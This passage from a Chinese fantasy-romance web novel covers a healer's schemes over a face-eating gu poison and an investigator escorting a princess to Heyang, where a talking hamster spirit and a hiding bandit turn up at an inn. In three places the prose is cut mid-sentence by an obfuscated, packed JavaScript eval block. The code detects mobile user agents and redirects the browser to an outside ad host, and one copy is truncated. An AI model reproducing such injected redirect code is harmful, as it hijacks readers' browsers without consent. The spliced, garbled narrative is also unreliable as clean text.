他向正堂走去,两侧悬着的一盏盏灯笼晕染出昏黄的光,他的脸色不断随光线明暗起伏。 周围不断有人跟他问好,他应得心不在焉,因为他脑海中都是阿婵的眼神。 那种装作好奇的、漫不经心的,实则是非常认真地在收集各种信息的眼神。 他太熟悉这种眼神了,因为这是他做绣衣行走伪装刺探时最常做的一件事。 她送梁秋月只是借口,借这个机会进入绣衣察事司,若不是自己紧盯着寸步不离,或许她又要搞事。 但是,她想要查探什么? 绣衣察事司里,有什么是她在意的? *** 绣衣察事司内的一个角落,几颗头围在一起嘀嘀咕咕。 “看见了么,刚才那个蓝衫女子就是那天让霍大人陪着吃了一整条街的小娘子!” “什么什么?吃了一整条街?好家伙!石头开窍了!” “咱们大人哪次吃饭不是跟尾巴着火了似的,居然有耐心陪着小娘子吃了一条街?真是邪了门儿了!” “我刚偷偷撇了一眼,小娘子身段容貌都好看,大人动心了也是应该的。” “你看错了吧,霍大人面对女子从来都是铜墙铁壁,怎么可能陪她吃饭!” “看错个屁!我当年考核可是全司最厉害的鹰眼!” “我作证,当时我在旁边执行任务,看见霍大人陪她吃饭了,然后我就走了,没想到居然吃了一整条街!啧啧啧……” “不应该啊,咱们大人从来都以事业为重,陪她吃饭估计也是想获取什么情报……” “或许是有什么把柄在人家手里……” “哎呀怪不得你俩这么大岁数了连女人的手都没摸过,啥也不懂,走开走开!” “我敢打赌,霍大人这回春心萌动了。” “跟一个。” “呸,我赌大人是为了获取情报。” “我信你。” “你俩值夜班值疯了吧,没看刚才她走后大人还盯着看了那么久,明显是动心了啊!” …… 忽然其中一个挤眉弄眼,疯狂比划着让众人噤声。 杨奉安一声咳嗽传来,众人才察觉背后有冷意。 霍彦先黑着脸像一座山从夜色阴影里中走出来,凛冽的眼刀无差别扫射他们:“我看你们还是太闲了!” “……”众人缩着脖子作鸟兽散。 “回来!准备出任务!” 霍彦先一声吼,杨奉安像赶鸭子似的把他们赶到正堂前。 “赶紧列队,赶紧列队……” 几个人一路小跑到正堂前,发现其他人已经列队站好听从差遣。 怪不得被抓包了,真倒霉! 霍彦先将庄戴英的案件言简意赅说了一下,将众人分工一一部署好。 “趁夜行动,都听明白了没有!” “明白!” 霍彦先走后,杨奉安带队出任务。 出了绣衣察事司,转过街角,几人一边飞速前进,一边小声嘀咕: “看清楚了么?” “很明显啊!霍大人刚才左脚先迈出门槛的,我鹰眼绝不会看错!” “每次他认为他听到的最后一句话是对的时候,就是左脚先迈的!” “刚才咱们说的最后一句话是什么来着?” “动心了动心了!” “真的假的,你怎么总结出来的?” “审犯人的时候总结出来的。” “你好大的胆子,竟敢拿大人当犯人!” “我这是为了精进业务!” “这还用你说,大人对她的态度和对其他女子明显不一样啊。” “我就说嘛,给钱,给钱!” “滚滚滚……” *** 日上三竿,蓬莱春内。 “你别说,这霍彦先做事还真挺雷厉风行的。说抓就抓是一点儿面子都不给,不愧是绣衣察事司最年轻的副察事。” 谢慕游一边嗑瓜子一边啜了口茶。 阿婵道:“朝中人人都害怕绣衣察事司,自然是有原因的。” “哎对了,你昨天不是混进去了么,里面怎么样?档案库好不好进?” 阿婵想想昨晚霍彦先那居高临下的样子,又苦恼起来,“想都别想。” “唉,没事,慢慢来吧,先让霍彦先给那对狗父子一个教训,也不算没有收获。” 她们二人所说的,正是今早刚传开的消息。 户部尚书庄孚义的嫡子庄戴英虐杀嘉善书院学子、欺民霸女,庄孚义包庇嫡子行凶的事情败露,被绣衣察事司检举,在朝堂中闹出了不小的风波。 当今圣人重视科举,士农工商,士排第一,尤其是像梁秋敏这种成绩在嘉善学院都一等一好的学子,竟被虐杀,这是戕害国之栋梁! 尤其是庄孚义的女婿、中书侍郎虞屹安本就出身寒门,正是靠读书出人头地的,是多少学子寒窗苦读的动力,可如今他的大舅哥竟如此不拿学子当人,是可忍孰不可忍! 而且,百姓对于权贵欺民霸女更是痛恨,这庄戴英简直五毒俱全,仗着自己老子是户部尚书,竟做出这么多丧尽天良的事情,于情于理,都不可能被轻易放过。 阿婵本以为霍彦先调查还需要几天时间,没想到这天刚亮,坊间已经传得沸沸扬扬。 说庄孚义连夜被叫进宫中,挨了圣人一顿痛骂,骂到天亮,直接去上朝,继续挨骂。 下朝的时候,庄孚义老大没面子,走路都没走稳,在群臣面前跌了一跤,帽子都摔丢了。 这种朝堂私密之事,岂能这么快被坊间知晓,肯定是有心人放出来的。 “这霍彦先还挺会扎心,明知道庄孚义最看重自己的脸面,专门放这种消息出来让他没脸。” “霍彦先估计也早想整他们俩了。” 那晚阿婵看霍彦先说出庄氏父子的名字时,神情就不太对。 “庄孚义荣耀一辈子,没想到快要致仕的年纪,却被儿子闹出这种丑闻,还不得呕死。”谢慕游幸灾乐祸。 阿婵:“呕就呕呗,反正是霍彦先捅出来的,庄孚义不服也得憋着,不然霍彦先那脾气一上来,难保不跟鬼一样阴魂不散缠他一辈子,直到捅出个能抄家的来。” 谢慕游:“活该,庄氏坏事做尽,欺负阿菀,让他们风光这么久已经是便宜他们了!” 阿婵眼中尽是嫌恶,“不过真犯事的是庄戴英,像庄孚义这种朝廷重臣,又是虞屹安的老丈人,圣人肯定会护着,可能只罚一罚俸禄,不会真正撼动他的地位。” 霍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15162740|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彦先大概也知道这一点,所以才搞出这种传言,能多恶心庄孚义一会儿便是一会儿。 二人说着,便打算下楼看看坊间对此事都是什么态度,于是走到蓬莱春一楼大堂,挑了个中间的位置坐下。 “听说了么?害孕妇流产的幕后凶手找到了!” “啊,不是说是妖怪作祟?” “煞气啊,不就是庄戴英在搞这件事!真是禽.兽不如!” 隔壁一桌的客人正好在议论此事。 阿婵和谢慕游对视一眼,继续竖着耳朵听。 “什么?我听说他只是虐杀学子、欺民霸女,怎么还有这一出儿?” “哎呀,你说这些事那纨绔不是天天都在做,只是这次被发现了而已。重点是,那些害孕妇流产的黑色煞气,好像就是他搞出来的!” “那这回他可是摊上大事了!上面很重视啊,没听说煜王殿下夫妇之前还去灵骅寺祈福来着吗?” “可不是,这回就算他老爹包庇,上面也得彻查。” “绣衣察事司还是有本事,能顺藤摸瓜查到这件事。” “嗐,那可是‘沉命司’,谁进去不得脱层皮?庄戴英就是个靠爹的怂货,进去估计都不用怎么用刑就直接招了。” 隔壁宾客嗤笑着。 再转去另几桌,也都在讨论这件事。 愤怒有之,震惊有之,松了口气的也有之。 因为庄戴英本身在坊间名声就不好,只是大家平时敢怒不敢言,这回绣衣察事司抓了他也算为民除害,平时被欺压的百姓终于出了一口恶气。 而能抓到残害孕妇的凶手,属于意外惊喜,毕竟没人能把庄戴英和这件事联系在一起。 如今凶手既已落网,家有孕妇的也不必日日提心吊胆,算是大大地松了一口气。 谢慕游奇道:“煞气居然和庄戴英有关?这次庄戴英肯定逃不了了,影响这么恶劣,圣人不可能只小惩大诫一下。” 可是……怎么有点奇怪?阿婵心中暗忖,怎么可能这么快就抓到操纵煞气的凶手了? 昨晚梁秋月虽有流产之兆,但并没有中煞气的迹象,她也跟霍彦先说了,怎么一.夜之间便查到了? 她百思不得其解,本想去找霍彦先了解一下,其中是不是有什么误会,但此时小厮来报,楼映真求见。 阿婵和谢慕游对视一眼,这个时间,她又来干嘛? 谢慕游回避,阿婵回房准备好,让小厮引其入内。 只听得一阵略显急促的脚步由远及近,楼映真找上门来颤声求救! “闻寰居士救我!” 看得出楼映真的步态尽力在维持体面,但声音已有哭腔。 “楼娘子这是怎么了?”阿婵问道。 “我已经很小心了,不曾想还是着了那个贱……那个人的道。” 楼映真恨恨说着,一边将帷帽摘下,下面还有一层蒙面纱巾。 她将纱巾摘下,真容才显露出来,只见自鼻梁下方的半张脸,布满了蚯蚓一般的纹路,密密麻麻,交织在一起,像是被刀子割过,又像是被火灼烧过一般。 阿婵惊讶,“怎么会变成这样?可是用药出了问题?” “没有,居士你之前给我的药已经将脸上的胎记去得干干净净。这是我的仇家为了陷害我,给我故意下的药。” “什么仇家对你这么记恨?”阿婵故作不解问道。 69. 夹带私货 楼映真恨恨道:“别提了,她知道我的心上人最讨厌女子皮肤不好,便专在这上面做文章。 之前在灵骅寺之时,便在我身上放了噬心蛊,欲置我于死地,幸好居士你在,救我了,如今一计不成再施一计,我已经万分小心,吃喝入口的东西基本没碰,却还是着了她的道! 居士,你两次救我,这一次也一定要帮帮我,无论花多少钱,受多少罪,我也一定要治好,决不能让那人得逞!” “那人还真是狠毒,别急,我帮你看看。” 阿婵一面附和楼映真帮她骂人,一面将她的脸侧过来仔细查看伤口,以及号脉。 从楼映真脸上的蚯蚓纹路看,应该是“蚀颜蛊”所致,并不需要饮食入口,可能只是靠在衣服上便可趁人不备钻入体内。 但是这个蚀颜蛊,相比起上次灵骅寺的那个噬心蛊,却又是厉害了不少。 脸部蚯蚓纹看起来可怖,但其实只是有碍观瞻,不伤性命,但对楼映真来说,却是致命的。 民间有药可以将其蛊毒暂时压制,也就是平时可能暂时看不出来,但每当情绪激动,尤其是男欢.女爱之时,普通药物便无法压制住蛊毒,蚯蚓纹就会再次显现。 试想煜王晁元肇这样的人,虽然见一个爱一个,但前提也得有一副能入得了他眼的皮囊。 否则每当卿卿我我浓情蜜意到忘我之时,眼前突然出现密密麻麻的可怖蚯蚓纹,他就是再多情也遭不住。 彼时,哪怕楼映真仗着“阿水”的身份,死而复生,就在他眼前,他永远爱慕的也只是记忆中的那个惊为天人的“赭衣侠女”,而不是眼前这个看着就倒胃口的丑八怪。 除非和晁元肇只做心灵伴侣,但显然他对“阿水”不是那样的心思。 为了接近晁元肇,楼映真已经不知道付出了多少,而如今这一下,轻易便将其所有的努力一下击垮。 楼映真再苦心经营,一切也都没有意义。 这样的攻心,看起来比那个噬心蛊又高级阴毒了不少,关键是,更少见,更难治。 也不知道阮云薇是从哪里搞到的这些东西。 虽然没有直接证据,但阿婵心知这明摆着就是阮云薇所为,只是她不想明面插手她们之间的争斗,也不打算跟楼映真深.入打探到底是谁下的蛊,表面上,她还是只当个旁观的局外人比较方便。 奇怪的是,阮云薇到底是从哪儿认识了这么厉害的蛊师,这根本不是寻常后宅争斗的普通下毒手段,看起来,阮云薇野心不小。 虽然这件事并不在阿婵算计之内,但也问题不大。反正楼映真虽然煎熬一点,但一时半会儿还死不了,斗争还会继续。 只要两边人都还在,晁元肇的心还在摇摆不定,那就有的经营。 一边想着,阿婵检查完面部,又给楼映真把脉,面色严峻,一直不说话,看得楼映真心凉了一半,小心翼翼地问:“居士,如何?可以治吗?” “唉……”阿婵长长叹了口气,怜悯地看着楼映真。 直看得楼映真眼中希冀的光黯淡下去,挺直的脊背塌陷下去,大热天里手指都变得冰凉无比,阿婵才幽幽开口:“怎么说呢,说治也能治,但是很难。” “怎么讲?”楼映真听到“能治”二字,七上八下的心终于落了地。 但随即听到“很难”,这心又高高地吊了起来。 她的命为什么这么苦,要遭这些罪! 阿婵有些为难地开口道:“其实这是一种叫做“蚀颜蛊”的慢性蛊毒,它长得很像寻常的小飞虫,会钻进你的面部,在面部经络之中游走,啃噬其中气血,游走得多了,会让面部经络变得明显,看上去就会显得好像是蚯蚓纹,只是有碍观瞻,但其实并不致命。” 听到蛊虫在面部经络游走,楼映真简直是头皮发麻,跟之前听到要吃焰炁饕妖的涎水一样恶心! 但此时她只能强忍住反胃的冲动,问阿婵:“那居士说的能治却很难,是什么意思?” “这是上古蛊虫,比之前的噬心蛊更加罕见,我所掌握的道医方术,如果要治疗,也需要上古精怪做药引,但找到这个精怪的难度,可比找焰炁饕妖难上百倍……” 听到这里,楼映真又轻轻地崩溃了。 但随即,她直接掏出厚厚一叠银票塞在阿婵手心,语气坚定发狠: “多难也得找!哪怕我倾家荡产也一定要治好,居士您道法高明,焰炁饕妖都找得到,这个精怪也一定可以帮我找到的对不对?” “这……”阿婵一脸为难,想要婉拒一下,无奈楼映真塞钱赛得太真挚,一点不给她推拒的空间。 她只得说:“你先别急,我给你写个方子,这段时间先将蛊虫暂时麻痹,或许可以先减轻一下蚯蚓纹,但你也会稍微有些昏昏欲睡。 目前我只知晓道医的方子,但我觉得你应该等不了那么久,或许民间也有能治疗这种蛊虫的法子,我会帮你尽快打探一下。” 这一番话十分真诚贴心,戳中了楼映真的心坎,她情绪稍被安抚,一再向阿婵道谢才离开。 *** 楼映真走后,阿婵一直在翻看医书。 过了几日,谢慕游就拿着锦书阁传来的消息来找阿婵。 “这个楼映真,还真是行动迅速,多方打听,这不又给咱们送钱来了。”谢慕游嗤笑着将信封递给阿婵。 阿婵打开一看,楼映真多管齐下,除了来找她,还写信给锦书阁,问有没有药可以治脸上的怪病。 只是托辞说“我有一个朋友得了这个病”,还详细描述了脸上的症状,把脸上的蚯蚓纹路事无巨细都画了下来。 “画得还是不错的。”阿婵淡淡评价道。 谢慕游问:“你真的要帮她吗?这个药引不是不好找?” 阿婵道:“我说上古精怪做药引能根治是骗她的,中了这种蛊,根本治不好,最后她的脸会慢慢全部烂掉。 只不过,阮云薇还没除掉,自然不能让楼映真落了下风,还是要帮她暂时治好脸,继续跟阮云薇斗。 民间应该有药可以暂时压制毒性,且让她先在晁元肇面前演一演清冷禁欲的把戏。” “也对,蛊毒随时可能复发,楼映真还不得夜夜煎熬睡不踏实?但如果她最后发现治不好……” “管她发不发现,照现在阮云薇这手段,你猜楼映真能活到知道真相那天吗?现在帮她不过是不想让阮云薇太过得意。 但楼映真也别想好过,这些日子她在晁元肇那里讨到不少好处,太过春风得意,是时候让她多吃些苦头。” “还得是你!”谢慕游竖起大拇指,眼中全是兴奋恨意,“阿菀死不瞑目,凭什么她们过得这么舒服?我这就帮你去找药!” 谢慕游快速消失在门外,阿婵低头,敛去眼中阴霾,继续翻找医书。 *** 过了两日,阿婵从医书中找到一个古方,和几位桓安有名望的郎中探讨过后,大家一致认为将这个古方做一些改良,可能对蚀颜蛊的毒性有压制作用。 只是这其中也涉及到一味难找的中药药引——紫鳞髓。 但只要不是精怪而是药材,哪怕是悬赏,钱足够多,都能找到。 所以阿婵便让谢慕游放出消息去找药。 很快,谢慕游便回来告诉阿婵有眉目了。 “禾阳县知道吗?离桓安不远,有个禾阳县主名唤叶逢君,是嘉善皇后亲封的‘女医圣手’。 她本是民间女子,因专门给女子治病,医术高超,救了许多人,包括嘉善皇后有一次微服出巡遇到危险,也是她救的,因此得到了皇后的封赏。 这是大桓唯一一个不因皇室血脉或是祖辈蒙荫,而是完全凭借自己的真本事得到封号的异姓县主, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15169247|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整个大桓建国以来的独一份。 只不过叶逢君为人非常低调,经常在坊间化名行医,所以大家都不知道她的事迹。” 谢慕游激动道。 “这么说来,她医术、医德应该都不错,为人应该也不难接触。”阿婵若有所思。 “关键是,她有很多替贵族看病的机会,经常能接触到一些贵族才用得起的罕见名贵药材,你要的这个紫鳞髓,她那里便有。” “可以直接买吗?” “不行,要亲自找她制作,因为她师承比较神秘,咱们也不知道是哪一派,但制药的手段和寻常的不一样,经过她亲手炮制的药,药效会更加好一些,当年嘉善皇后遇险,身边跟着的御医都束手无策,全靠她妙手回春。” “这么厉害,那她怎么没被召入太医院?”阿婵好奇。 “啧,人家县主格局大,说进了太医院只能给贵族看病,可是她的医术是从民间学来的,所以要回馈民间,让普天下的女子都不再受疾病困扰,嘉善皇后感念她的胸怀气度,因此没有强制她进太医院。” “倒确实是个好人。女子看病不便是自古以来的弊病,若是多些这样的女郎中,天下女子也不至于受那么多苦。”阿婵感慨。 她当即决定动身去禾阳县,这样也可以给楼映真展示一下自己的诚意,让她更加信任自己,方便后续她安排部署其他“计划”。 此外,她也能亲自去找禾阳县主了解探讨一下药性,方便给楼映真暗中“夹带点私货”。 出发时,她骑马路过桓安府尹,看见里面的官差,突然想到了霍彦先。 本来她还想去找霍彦先问问煞气的事。似乎操纵煞气的幕后凶手不该是庄戴英,又或许有什么隐情她不知道。 但这两天,煞气之事确实没有再发生,大家都当案件已经解决,而她当下也确实有更重要的事情需要去解决,所以这念头只是骑马的时候一闪而过,很快隐没在飞扬的尘土之间。 *** 皇城,勤政殿。 下朝后,圣人单独留下了霍彦先。 “彦先呐,明日.你送玥宜去一趟禾阳县吧。” 禾阳? 霍彦先一愣,本以为圣人召见自己是为了庄氏父子的事,结果没想到竟然是为了护送玥宜公主。 “本来护送她的人马都已选好,但你也知道,近日桓安不太平,什么虎妖煞气的,虽然煞气案已经破了,但还是你陪她去,朕最为放心。” “那庄戴英的事……” “你不必操心,梁秋敏的命案朕已交给大理寺去审,不会放过他,你近日只需负责玥宜的安全。煞气案牵涉甚广,等你回来,再会同大理寺一起定夺。” “是,臣定护公主周全。” “赶快去准备一下吧。” 霍彦先躬身告退,看圣人的态度,庄戴英罪责难逃,但庄孚义,提都没提,说明还是要保的。 但圣人的话说到这个份上,他身为臣子,也不能再说什么。 毕竟,朝廷是圣人的朝廷。 他向皇城外走去,直奔公主府。明日便要出发,时间紧急,虽说圣人已经安排了人马,但他毕竟也要一一查问,做到心中有数。 说到玥宜公主,最近事情多,他差点忘了公主自嘉善皇后去世后,每年都要效仿母后去禾阳,故地重游一趟。 十几年前,嘉善皇后为了准备每年一度的亲蚕礼,亲巡民间农桑之事,归来时在禾阳遇险,停留当地修养了好一阵,结下了一些善缘,并顺便将当地涉及贪墨问题的安慈堂和安孤堂重新整治了一遍。 待伤好,她也依旧挂心那些老人和孤儿,每年都会回去看一看。 自十年前嘉善皇后去世,玥宜公主便接替母亲做这件事,到今天,已经成为了惯例。 只是,要面对玥宜公主,他不禁有点头疼…… 70. 掏心 翌日,霍彦先启程护送玥宜公主前往禾阳县。 此地距离桓安不远,快马加鞭也就一日行程,但因怕公主车驾颠簸,一行人走得很慢,两日后才赶到禾阳县的成贤客栈下榻。 本来公主出行,应宿在驿站行宫,但公主说当年母后微服出访,体察民情,都是乔装成百姓住在客栈,所以她也要效仿。 这样一来,压力就给到了霍彦先。 本就是微服出行,总不能把客栈的住客全部赶出去,但闲杂人等一多,安全就成了大问题。 玥宜公主又不许扰民,霍彦先不能一一.大张旗鼓排查客栈住客,只能打起十二万分的精神布防,今夜又是个不眠夜。 玥宜公主赶路累了,早早便回到客房睡下。 霍彦先和乔装侍卫在客栈内外按部就班巡逻。 客栈的廊道中间有一个柜子,霍彦先打开查看,柜中一侧是放置灯具布草的,另一侧有很多隔板,放着香炉等杂物,他盯着看了很久,若有所思。 *** 夜深人静,客栈几乎没有人走动,只有一个店小二在客栈的账柜值守。 霍彦先一个人待在三楼的回廊,俯视整个客栈的情况。 忽然,一楼把角的窗户有些微动静,霍彦先一下警觉起来。 只见半开乘凉的窗户缝隙里,先露出了几根颤颤巍巍的胡须。 原来是一只老鼠从窗缝中钻了进来,准确地说,应该是一只仓鼠。 那仓鼠一身紫灰皮毛,油润光泽,小小一只,毛茸茸胖得像个球儿。 霍彦先紧绷的神经松弛下来,心中暗想,明明这个客栈掌柜跟他说清洁做得非常好,居然还招来这么大的仓鼠。 他紧盯着仓鼠的动作,只见它鬼鬼祟祟穿过客栈大堂,轻车熟路钻进库房,不一会儿又钻出来,身上背着个大袋子。 那袋子洒出两粒白色的东西,霍彦先目力过人,认出那是大米。 这仓鼠背着一袋子大米跑到值守的店小二边上,店小二正在打瞌睡,他手边有一个小碟,里面放着没有吃完的夜宵糕点。 糕点发出香气,仓鼠一溜烟跑过去,两只前爪刚要伸手抓糕点,碟子竟凭空往后退了一下。 它有些发懵,摸不着头脑,继续伸出前爪去拿这个糕点,碟子又往后退了一下。 霍彦先皱眉,谁这么无聊,在和一只仓鼠恶作剧? 他藏身三楼暗处,居高临下俯视,加之目力过人,一楼的全部场景一览无余。 仓鼠被小厮的身体挡住视线可能看不到,但他看得到。 一根丝线在账柜那边,瞬间顺着窗缝抽离到外面。 这丝线,泛着一点点蓝光。 怎么这么眼熟? 这不是…… 霍彦先心中那个词呼之欲出,下一刻,便看到半开的窗户缝隙外,有一双狡黠灵动的眸子,正在往里看。 !!! 那根丝线,不是山蜘蛛丝是什么? 那双狡黠灵动的眸子,不是阿婵的又是谁的? 霍彦先扶额…… 怎么会这样,她大半夜跟仓鼠玩,这么闲吗? 霍彦先心中又泛起不好的预感,继续看楼下的动静。 只见那紫灰仓鼠一副不太聪明的样子,如此反复了几次,有点恼羞成怒,不知道为什么今晚总感觉有点晦气,最终还是放弃了糕点,一溜烟转身跑了,透着气恼。 而阿婵在窗外躬着身子,眼中带笑,逗仓鼠的样子还真像一只游刃有余戏耍老鼠玩的狸花猫。 霍彦先发觉自己看着看着竟不自觉勾了唇角,随即下压恢复严肃,继续盯着楼下。 下一刻,他又陡然睁大了眼睛。 因为那仓鼠背后,竟突然出现了一道虚空漂浮的黄纸符箓,似乎是从账柜下面飘上来的。 他近日见符箓不少,都是阿婵卖给他的,心中顿觉不妙。 难道这紫灰仓鼠,竟是精怪? 只见仓鼠背着米袋子,沿客栈廊柱窜上楼,那黄纸符箓便一路在后面跟随着它。 很明显,这符箓在跟踪仓鼠,想要贴在它的背上,但它似乎无所察觉。 而每一次符箓马上要贴到仓鼠脊背的时候,却都会差一点。 因为这符箓背后,还有一根山蜘蛛丝牵制着它,正是阿婵在操控。 阿婵手中不时比划一下,山蜘蛛丝就跟着她的手势动一下。 每当黄纸符箓往前一点,快要贴上仓鼠脊背之时,阿婵就会像放风筝似的,用山蜘蛛丝把符箓往回拖拽一下。 所以每次这道黄纸符箓都不能得逞。 这到底是什么情况? 突然,已经顺着廊柱攀爬到三楼的仓鼠,耳朵动了一下,眼神变得机警起来。 然后,便是霍彦先的一小块视线盲区。 只听得外面一阵窸窸窣窣的动静。 霍彦先藏身在暗处,眼前忽然一下豁然开朗,有光透进来。 原来是那紫灰仓鼠“嗖”地一下闯进了柜子,但他胸.前突然出现了一只手! 一切都发生在电光火石之间,饶是霍彦先的反应速度,都没来得及做出任何反应。 霍彦先和阿婵,就这样突如其来地四目相对,面面相觑了。 场面一度沉默。 “霍大人……?你怎么窝在柜子里……?” “……” 原来,三楼放灯具香炉的柜子,正是霍彦先挑中的暗中监视藏身之所。 而阿婵昨日就到了禾阳县主府,府中下人说县主去外地出诊了,明日才会回来。她便住在成贤客栈等待,结果无意中听到客栈来了个道士,在跟掌柜的部署夜里捉鼠妖的事。 本来这不关阿婵的事,但她听到那道士言语中要将鼠妖赶尽杀绝,觉得有点过分。 一般正经道士捉妖,也不至于一上来就要让妖物直接灰飞烟灭,她好奇这是有多大的仇怨,反正闲来无事,便半夜过来瞧瞧。 刚才她见这仓鼠上了三楼,以为它要作乱,便催动符箓让仓鼠自乱阵脚,仓鼠受到惊吓,钻进柜子里,阿婵闪电出手,结果没想到竟然抓到了霍彦先。 准确地说,是一个黑虎掏心,正中霍彦先的胸.前。 硬硬的,很结实……阿婵甚至为了确认手感又摸了两下…… “???”霍彦先的大脑一瞬空白。 “咳咳……”阿婵反应过来,触电般缩回手,手忙脚乱地挠挠头,“不好意思啊霍大人我不是故意的……” 霍彦先:“……” 藏在柜中的霍彦先看到阿婵,先是一脸莫名其妙,待意识到阿婵的手放在哪里,他耳根瞬间红透,正想质问阿婵这是在搞什么,结果那仓鼠趁他俩不注意,疯狂逃窜。 两人扒着三楼廊道栏杆往下看去,仓鼠沿廊柱爬到二楼的一个房间前,“滋溜”一下,便化成片状从门缝里钻了进去。 霍彦先虽不知道房客具体身份,但有事先跟客栈掌柜了解过,知道里面住的是一位女客。 下一刻,却听到房间里传来一声“啊啊啊——有老鼠!”的惨叫。 这声音是男人发出的! 然后就听见房中传来叮了咣当一通乱响,随即传来一句“啊啊啊——你是谁!” 这是一声女子的尖叫! “不好!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15175468|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不好!” 阿婵和霍彦先同时心中暗道。 来不及走楼梯了! 阿婵和霍彦先从三楼直接飞身下到了二楼,刚冲到那间房门前,那只仓鼠竟突然从打开的房间中飞出,冲霍彦先劈头盖脸直扑过来。 霍彦先当机立断,用外袍兜头将仓鼠直接卷进自己的衣角,将其结结实实罩住。阿婵“啪”地一下将一张黄纸符箓贴在包住仓鼠的衣料上,自己冲进房间。 只见房中一个彪形大汉从衣柜中滚出来,阿婵冲上去将正在尖叫的女子护在身后,打得那彪形大汉呜嗷乱叫,抱头鼠窜。 房间里似只骚乱了一瞬,等到霍彦先安排外面角落里涌出的便衣侍卫保护公主安全、维持客栈秩序之后,他抱着胡乱顾涌的一团外袍进去接应阿婵,房间里已经安静如鸡。 只见阿婵坐在茶桌前,一只脚踩着一个被山蜘蛛丝五花大绑的彪形大汉,抱头如鼠缩。 而霍彦先怀中的外袍此刻终于被咬烂,从里面奋力顾涌出一颗小脑袋。 霍彦先一时分不清,到底是自己怀里的这个更像仓鼠,还是阿婵脚底下的那个更像仓鼠。 旁边靠墙角的位置,站着一个花容失色的女子,眼神迷茫,似从睡梦中惊醒,根本不知道发生了什么事情。 房间一角衣柜柜门大敞,里面的衣服散落一地。 霍彦先:“……” 他预料到阿婵能一个人应付这个场景,但阿婵这姿势,倒像她才是那个入室抢劫的女土匪。 阿婵看着一团仓鼠在霍彦先的外袍里胡乱顾涌,眉毛一挑:“霍大人你这架势很是专业啊,给我留点活路吧,以后别把我捉妖的活儿都给抢了呀。” 霍彦先一头黑线。 “女侠饶命!女侠饶命啊——” 阿婵脚下一用力,那彪形大汉立刻瑟瑟发.抖地求饶,鼻青脸肿的样子,看得霍彦先撇了撇嘴。 从阿婵冲进房间,到他进去,不过片刻的事,能把一个男的打成这样,手速不容小觑。 “你是什么人,她刚才说她不认识你,那你为什么半夜三更在人家陌生女子的房间里?”阿婵问。 “小人,小人是来求药的……”大汉抱头躬身,虚声说道。 阿婵脚下发狠一压,“还不老实!” “等一下……” 旁边花容失色的女子终于缓过来,理了一下鬓发衣衫,仔细辨认那男子,说道:“原来是你,我不是说过没有药了,你晚些再来问诊吗?” 阿婵的视线在一男一女间来回逡巡,最后定在了女子身上:“你是说,他真是来求药的?” 女子便解释说,自己是大夫,每月会有几天住在这间客栈,白日客栈在一楼专门给她一间雅间,让很多周围县城的百姓前来问诊,晚间便住在楼上。 对于这男子,她有印象,前几天来找过她,但她刚好没有药了,便让那男子晚些再来,岂料这男子竟不知何时,溜进了自己的房间,半夜躲在衣柜之中。 更没有料到,堂堂一个五.大三粗的男人,竟然怕鼠怕成那个样子。 阿婵从霍彦先怀中拎过仓鼠,在那男子眼前晃悠,男子双眼紧闭,仿佛仓鼠是世界上最可怕的事情。 只见那紫灰仓鼠蹬着四只小短腿,在空中乱刨,一道尖细的声音自仓鼠喉咙发出-- “放开我!” 它会说人话??? 所有人愣住,除了阿婵。 随后,蜷缩在地上的男人发出惨烈的嚎叫,阿婵皱眉,看他如山一般的身躯剧烈颤.抖起来,仿佛随时要崩塌…… “啊啊啊啊,娘咧,老鼠成精了——” 71. 东仓使者 那男人鬼哭狼嚎之际,霍彦先却在旁边越看他越眼熟。要不是阿婵把这人打得鼻青脸肿影响他发挥,他应该早就认出来的! “青云寨二当家寇天良?”他冷不丁问了一句。 那人还在惨叫,听到有人喊自己的名字,下意识抬起了头,霍彦先看到他这反应,基本确认,“果然是你。” 寇天良突然想起自己堂堂一个二当家,怎么也不能太丢人,想要拿出气势,结果被阿婵踩得更狠,这一脚用了内力,堂堂二当家几乎吐血。 前阵子绣衣察事司接到密报,禾阳县附近的青云寨因洗劫平民村庄、烧杀抢掠被当地官府围剿,大当家、二当家身受重伤但下落不明,看来这二当家是来给大当家和他自己求药的。 听到霍彦先解释,女子说:“怪不得我见他目露凶光,身上血气很重。” 霍彦先走过去,从阿婵脚下轻车熟路将他抽出来,卸了关节,绑起来审问。 寇天良交待,原来他之前求药被女子拒绝,以为女子有药但是不肯给他,所以午后趁她在楼下坐堂之时,潜入她的房间,准备半夜威胁她交出药来。 谁想到柜子里突然来了一只老鼠,天知道,他堂堂青云寨二当家,天不怕地不怕,独独只怕老鼠。 “青天大老爷,我冤枉啊,我虽然是青云寨的,但我们只是抢粮食不会对女子图谋不轨啊,我找她只是想拿药!” “你倒是个君子!”阿婵冷笑。 